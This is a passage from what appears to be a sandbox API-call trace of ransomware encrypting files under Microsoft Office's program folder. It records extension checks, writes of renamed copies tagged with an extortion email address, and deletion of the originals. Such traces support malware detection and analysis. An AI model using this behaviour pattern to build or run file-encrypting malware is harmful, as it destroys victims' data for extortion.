returned 4 [0254.744] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0254.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0254.744] lstrlenW (lpString=".zip") returned 4 [0254.744] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0254.744] lstrlenW (lpString=".rar") returned 4 [0254.744] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0254.744] lstrlenW (lpString=".bz2") returned 4 [0254.744] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0254.744] lstrlenW (lpString=".7z") returned 3 [0254.744] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0254.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0254.744] lstrlenW (lpString=".dbf") returned 4 [0254.744] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0254.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0254.744] lstrlenW (lpString=".1cd") returned 4 [0254.744] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0254.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0254.744] lstrlenW (lpString=".jpg") returned 4 [0254.744] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0254.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0254.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0254.744] lstrlenW (lpString=".doc") returned 4 [0254.744] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0254.744] lstrlenW (lpString=".docx") returned 5 [0254.744] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0254.744] lstrlenW (lpString=".pdf") returned 4 [0254.744] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0254.744] lstrlenW (lpString=".xls") returned 4 [0254.744] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0254.744] lstrlenW (lpString=".xlsx") returned 5 [0254.744] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0254.744] lstrlenW (lpString=".ppt") returned 4 [0254.744] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0254.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0254.744] lstrlenW (lpString=".zip") returned 4 [0254.744] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0254.745] lstrlenW (lpString=".rar") returned 4 [0254.745] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0254.745] lstrlenW (lpString=".bz2") returned 4 [0254.745] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0254.745] lstrlenW (lpString=".7z") returned 3 [0254.745] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0254.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0254.745] lstrlenW (lpString=".dbf") returned 4 [0254.745] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0254.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0254.745] lstrlenW (lpString=".1cd") returned 4 [0254.745] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0254.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0254.745] lstrlenW (lpString=".jpg") returned 4 [0254.745] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0254.745] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0254.745] lstrlenW (lpString="VISIO.DEV_K_COL.HXK") returned 19 [0254.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0254.746] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=113) returned 1 [0254.746] CloseHandle (hObject=0x200) returned 1 [0254.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk")) returned 0x20 [0254.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0254.747] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0254.747] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0254.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0254.748] GetLastError () returned 0x0 [0254.748] ReadFile (in: hFile=0x200, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x71, lpOverlapped=0x0) returned 1 [0254.749] WriteFile (in: hFile=0x3cc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x80, lpOverlapped=0x0) returned 1 [0254.750] ReadFile (in: hFile=0x200, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0254.750] WriteFile (in: hFile=0x3cc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xfa, lpOverlapped=0x0) returned 1 [0254.750] SetEndOfFile (hFile=0x3cc) returned 1 [0254.750] CloseHandle (hObject=0x3cc) returned 1 [0254.750] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0254.750] SetEndOfFile (hFile=0x200) returned 1 [0254.752] CloseHandle (hObject=0x200) returned 1 [0254.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.752] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk")) returned 1 [0254.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0254.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0254.753] lstrlenW (lpString=".doc") returned 4 [0254.753] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0254.753] lstrlenW (lpString=".docx") returned 5 [0254.753] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0254.753] lstrlenW (lpString=".pdf") returned 4 [0254.753] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0254.753] lstrlenW (lpString=".xls") returned 4 [0254.753] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0254.753] lstrlenW (lpString=".xlsx") returned 5 [0254.753] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0254.753] lstrlenW (lpString=".ppt") returned 4 [0254.753] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0254.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0254.753] lstrlenW (lpString=".zip") returned 4 [0254.753] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0254.753] lstrlenW (lpString=".rar") returned 4 [0254.753] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0254.754] lstrlenW (lpString=".bz2") returned 4 [0254.754] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0254.754] lstrlenW (lpString=".7z") returned 3 [0254.754] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0254.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0254.754] lstrlenW (lpString=".dbf") returned 4 [0254.754] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0254.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0254.754] lstrlenW (lpString=".1cd") returned 4 [0254.754] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0254.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0254.754] lstrlenW (lpString=".jpg") returned 4 [0254.754] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0254.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0254.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0254.754] lstrlenW (lpString=".doc") returned 4 [0254.754] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0254.754] lstrlenW (lpString=".docx") returned 5 [0254.754] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0254.754] lstrlenW (lpString=".pdf") returned 4 [0254.754] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0254.754] lstrlenW (lpString=".xls") returned 4 [0254.754] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0254.754] lstrlenW (lpString=".xlsx") returned 5 [0254.754] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0254.754] lstrlenW (lpString=".ppt") returned 4 [0254.754] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0254.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0254.754] lstrlenW (lpString=".zip") returned 4 [0254.754] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0254.754] lstrlenW (lpString=".rar") returned 4 [0254.754] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0254.754] lstrlenW (lpString=".bz2") returned 4 [0254.754] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0254.754] lstrlenW (lpString=".7z") returned 3 [0254.755] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0254.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0254.755] lstrlenW (lpString=".dbf") returned 4 [0254.755] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0254.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0254.755] lstrlenW (lpString=".1cd") returned 4 [0254.755] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0254.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0254.755] lstrlenW (lpString=".jpg") returned 4 [0254.755] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0254.755] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0254.755] lstrlenW (lpString="VISIO.HXS") returned 9 [0254.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0254.755] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=2839338) returned 1 [0254.755] CloseHandle (hObject=0x200) returned 1 [0254.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs")) returned 0x20 [0254.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.756] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0254.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0254.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0254.756] lstrlenW (lpString=".doc") returned 4 [0254.756] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0254.756] lstrlenW (lpString=".docx") returned 5 [0254.756] lstrcmpiW (lpString1=".docx", lpString2="O.HXS") returned -1 [0254.756] lstrlenW (lpString=".pdf") returned 4 [0254.756] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0254.756] lstrlenW (lpString=".xls") returned 4 [0254.756] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0254.756] lstrlenW (lpString=".xlsx") returned 5 [0254.756] lstrcmpiW (lpString1=".xlsx", lpString2="O.HXS") returned -1 [0254.756] lstrlenW (lpString=".ppt") returned 4 [0254.756] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0254.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0254.756] lstrlenW (lpString=".zip") returned 4 [0254.756] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0254.756] lstrlenW (lpString=".rar") returned 4 [0254.756] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0254.756] lstrlenW (lpString=".bz2") returned 4 [0254.756] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0254.756] lstrlenW (lpString=".7z") returned 3 [0254.756] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0254.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0254.756] lstrlenW (lpString=".dbf") returned 4 [0254.756] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0254.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0254.757] lstrlenW (lpString=".1cd") returned 4 [0254.757] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0254.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0254.757] lstrlenW (lpString=".jpg") returned 4 [0254.757] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0254.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0254.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0254.757] lstrlenW (lpString=".doc") returned 4 [0254.757] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0254.757] lstrlenW (lpString=".docx") returned 5 [0254.757] lstrcmpiW (lpString1=".docx", lpString2="O.HXS") returned -1 [0254.757] lstrlenW (lpString=".pdf") returned 4 [0254.757] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0254.757] lstrlenW (lpString=".xls") returned 4 [0254.757] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0254.757] lstrlenW (lpString=".xlsx") returned 5 [0254.757] lstrcmpiW (lpString1=".xlsx", lpString2="O.HXS") returned -1 [0254.757] lstrlenW (lpString=".ppt") returned 4 [0254.757] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0254.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0254.757] lstrlenW (lpString=".zip") returned 4 [0254.757] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0254.757] lstrlenW (lpString=".rar") returned 4 [0254.757] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0254.757] lstrlenW (lpString=".bz2") returned 4 [0254.757] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0254.757] lstrlenW (lpString=".7z") returned 3 [0254.757] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0254.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0254.757] lstrlenW (lpString=".dbf") returned 4 [0254.757] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0254.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0254.757] lstrlenW (lpString=".1cd") returned 4 [0254.757] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0254.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0254.758] lstrlenW (lpString=".jpg") returned 4 [0254.758] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0254.758] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0254.758] lstrlenW (lpString="VISIO.SHAPESHEET.HXS") returned 20 [0254.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0254.758] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=879814) returned 1 [0254.758] CloseHandle (hObject=0x200) returned 1 [0254.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs")) returned 0x20 [0254.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0254.759] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0254.759] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0254.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0254.759] GetLastError () returned 0x0 [0254.759] ReadFile (in: hFile=0x200, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xd6cc6, lpOverlapped=0x0) returned 1 [0254.979] WriteFile (in: hFile=0x3cc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xd6cd0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xd6cd0, lpOverlapped=0x0) returned 1 [0254.993] ReadFile (in: hFile=0x200, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0254.993] WriteFile (in: hFile=0x3cc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xfc, lpOverlapped=0x0) returned 1 [0254.993] SetEndOfFile (hFile=0x3cc) returned 1 [0254.993] CloseHandle (hObject=0x3cc) returned 1 [0254.993] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0254.994] SetEndOfFile (hFile=0x200) returned 1 [0255.206] CloseHandle (hObject=0x200) returned 1 [0255.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs")) returned 1 [0255.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0255.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0255.221] lstrlenW (lpString=".doc") returned 4 [0255.221] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0255.221] lstrlenW (lpString=".docx") returned 5 [0255.221] lstrcmpiW (lpString1=".docx", lpString2="T.HXS") returned -1 [0255.221] lstrlenW (lpString=".pdf") returned 4 [0255.222] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0255.222] lstrlenW (lpString=".xls") returned 4 [0255.222] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0255.222] lstrlenW (lpString=".xlsx") returned 5 [0255.222] lstrcmpiW (lpString1=".xlsx", lpString2="T.HXS") returned -1 [0255.222] lstrlenW (lpString=".ppt") returned 4 [0255.222] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0255.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0255.222] lstrlenW (lpString=".zip") returned 4 [0255.222] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0255.222] lstrlenW (lpString=".rar") returned 4 [0255.222] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0255.222] lstrlenW (lpString=".bz2") returned 4 [0255.222] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0255.222] lstrlenW (lpString=".7z") returned 3 [0255.222] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0255.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0255.222] lstrlenW (lpString=".dbf") returned 4 [0255.222] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0255.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0255.222] lstrlenW (lpString=".1cd") returned 4 [0255.222] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0255.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0255.222] lstrlenW (lpString=".jpg") returned 4 [0255.222] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0255.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0255.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0255.222] lstrlenW (lpString=".doc") returned 4 [0255.222] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0255.222] lstrlenW (lpString=".docx") returned 5 [0255.222] lstrcmpiW (lpString1=".docx", lpString2="T.HXS") returned -1 [0255.222] lstrlenW (lpString=".pdf") returned 4 [0255.222] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0255.222] lstrlenW (lpString=".xls") returned 4 [0255.222] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0255.222] lstrlenW (lpString=".xlsx") returned 5 [0255.222] lstrcmpiW (lpString1=".xlsx", lpString2="T.HXS") returned -1 [0255.222] lstrlenW (lpString=".ppt") returned 4 [0255.223] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0255.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0255.223] lstrlenW (lpString=".zip") returned 4 [0255.223] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0255.223] lstrlenW (lpString=".rar") returned 4 [0255.223] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0255.223] lstrlenW (lpString=".bz2") returned 4 [0255.223] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0255.223] lstrlenW (lpString=".7z") returned 3 [0255.223] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0255.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0255.223] lstrlenW (lpString=".dbf") returned 4 [0255.223] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0255.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0255.223] lstrlenW (lpString=".1cd") returned 4 [0255.223] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0255.223] lstrlenW (lpString="C:\\Program Files\\Microsoft 